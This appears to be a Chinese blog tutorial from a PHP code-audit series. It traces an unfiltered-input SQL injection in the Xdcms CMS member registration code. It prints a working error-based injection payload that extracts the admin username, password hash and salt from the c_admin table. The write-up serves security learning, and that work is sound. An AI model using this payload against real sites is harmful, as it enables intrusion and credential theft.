PHP代码审计 17 实战 Xdcms 漏洞挖掘 SQL 注入

本文记录 PHP 代码审计的学习过程,教程为暗月 2015 版的 PHP 代码审计课程

PHP 代码审计博客目录

1. 简介

  1. 思路

    查看网站后台管理页面的源码,查看网站使用了那些过滤函数(通常会有一些自定义的过滤函数可供调用)
    通常情况下 G E T _GET GET、_POST 都是用了过滤函数之后才会和数据库进行连接,如果发现未使用过滤函数,那么说明存在漏洞。

  2. 在页面 xdcms\system\modules\member\index.php 中

    function register_save() 中的 G E T _GET GET、_POST 未使用过滤函数。

    另外,在 77 行中定义了错误的提示处理,但未定义错误的退出行为。

     $field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
     $query=$this->mysql->query($field_sql);
    

    通过查找 query() 函数,发现,仅仅是报错,说明如果存在注入操作也不会中断运行

  3. 注入 exp

      where userid=8 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
    
  4. 在注册会员页面抓包

    PHP代码审计 17 实战 Xdcms 漏洞挖掘 SQL 注入_第1张图片PHP代码审计 17 实战 Xdcms 漏洞挖掘 SQL 注入_第2张图片

你可能感兴趣的:(代码审计)